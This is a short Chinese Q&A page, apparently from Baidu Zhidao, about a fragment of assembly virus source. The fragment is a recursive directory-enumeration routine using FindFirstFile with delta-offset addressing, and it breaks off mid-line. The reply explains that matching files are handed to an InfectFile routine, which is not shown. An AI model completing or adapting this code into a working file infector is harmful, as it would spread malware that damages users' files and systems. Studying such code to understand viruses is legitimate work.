汇编病毒问题

来源:百度知道 编辑:UC知道 时间:2024/06/17 17:47:01
EnumDir PROC DirName : DWORD
local hSearch:DWORD
local DirorFile[128]:DWORD
pushad
push DirName
lea esi,DirorFile
push esi
call _lstrcpy[ebx]
push esi;当前目录
call _SetCurrentDirectory[ebx]
lea edi,[offset wfd+ebx]
push edi
lea eax,[offset allfile+ebx]
push eax
call _FindFirstFile[ebx]
cmp eax,INVALID_HANDLE_value
jz ED_Exit
mov hSearch,eax
.repeat
mov eax,DWORD ptr [offset wfd+ebx]
and eax,FILE_ATTRIBUTE_DIRECTORY
.if eax == FILE_ATTRIBUTE_DIRECTORY
.if BYTE ptr [wfd+44+ebx]!='.'
push DirName
lea esi,DirorFile
PUSH ESI;esi指向局部缓冲区
call _lstrcpy[ebx]
lea eax,[offset nextdir+ebx]
push eax
push esi
call _lstrcat[ebx]
lea eax,[offset wfd+44+ebx]
push eax
push esi
call _lstrcat[ebx]
push esi
call EnumDir
.endif
.else
.if BYTE ptr [wfd+44+ebx]!='.'
pushad
lea eax,[offset wfd.c

这是在用 FindFirstFile 递归调用,对所有的文件和文件夹(FILE_ATTRIBUTE_DIRECTORY)进行穷列。

最后判断一些字符,满足条件的,执行 call InfectFile 函数(感染)。

具体满足什么条件,如何感染。你给出的代码不够